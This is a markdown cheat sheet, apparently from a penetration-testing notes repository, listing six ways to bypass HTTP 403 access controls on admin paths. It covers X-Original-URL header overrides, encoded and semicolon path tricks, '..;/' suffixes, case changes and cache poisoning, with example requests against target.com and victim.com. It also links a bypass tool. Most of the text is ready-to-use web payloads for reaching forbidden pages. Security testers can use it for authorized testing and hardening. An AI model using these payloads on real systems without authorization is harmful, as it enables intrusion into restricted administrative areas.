2022-06-15 10:38:42 +00:00
|
|
|
|
# Bypass 403 (Forbidden)
|
2020-09-09 14:53:05 +00:00
|
|
|
|
|
|
|
|
|
1. Using "X-Original-URL" header
|
|
|
|
|
```
|
|
|
|
|
GET /admin HTTP/1.1
|
|
|
|
|
Host: target.com
|
|
|
|
|
```
|
|
|
|
|
Try this to bypass
|
|
|
|
|
```
|
|
|
|
|
GET /anything HTTP/1.1
|
|
|
|
|
Host: target.com
|
|
|
|
|
X-Original-URL: /admin
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
2. Appending **%2e** after the first slash
|
|
|
|
|
```
|
|
|
|
|
http://target.com/admin => 403
|
|
|
|
|
```
|
|
|
|
|
Try this to bypass
|
|
|
|
|
```
|
|
|
|
|
http://target.com/%2e/admin => 200
|
|
|
|
|
```
|
|
|
|
|
|
2021-07-21 15:38:57 +00:00
|
|
|
|
3. Try add dot (.) slash (/) and semicolon (;) in the URL
|
2020-09-09 14:53:05 +00:00
|
|
|
|
```
|
|
|
|
|
http://target.com/admin => 403
|
|
|
|
|
```
|
|
|
|
|
Try this to bypass
|
|
|
|
|
```
|
2021-07-21 15:38:57 +00:00
|
|
|
|
http://target.com/secret/. => 200
|
|
|
|
|
http://target.com//secret// => 200
|
|
|
|
|
http://target.com/./secret/.. => 200
|
|
|
|
|
http://target.com/;/secret => 200
|
|
|
|
|
http://target.com/.;/secret => 200
|
|
|
|
|
http://target.com//;//secret => 200
|
2020-09-09 14:53:05 +00:00
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
4. Add "..;/" after the directory name
|
|
|
|
|
```
|
|
|
|
|
http://target.com/admin
|
|
|
|
|
```
|
|
|
|
|
Try this to bypass
|
|
|
|
|
```
|
|
|
|
|
http://target.com/admin..;/
|
|
|
|
|
```
|
2020-09-09 14:56:10 +00:00
|
|
|
|
|
2020-09-17 15:55:57 +00:00
|
|
|
|
|
|
|
|
|
5. Try to uppercase the alphabet in the url
|
|
|
|
|
```
|
|
|
|
|
http://target.com/admin
|
|
|
|
|
```
|
|
|
|
|
Try this to bypass
|
|
|
|
|
```
|
|
|
|
|
http://target.com/aDmIN
|
|
|
|
|
```
|
|
|
|
|
|
2021-02-08 11:35:49 +00:00
|
|
|
|
6. Via Web Cache Poisoning
|
|
|
|
|
```
|
|
|
|
|
GET /anything HTTP/1.1
|
|
|
|
|
Host: victim.com
|
|
|
|
|
X-Original-URL: /admin
|
|
|
|
|
```
|
|
|
|
|
|
2022-06-15 10:38:42 +00:00
|
|
|
|
## Tools
|
|
|
|
|
* [Bypass-403 | Go script for bypassing 403 forbidden](https://github.com/daffainfo/bypass-403)
|
|
|
|
|
|
|
|
|
|
## References
|
2021-07-21 15:38:57 +00:00
|
|
|
|
- [@iam_j0ker](https://twitter.com/iam_j0ker)
|
|
|
|
|
- [Hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-web)
|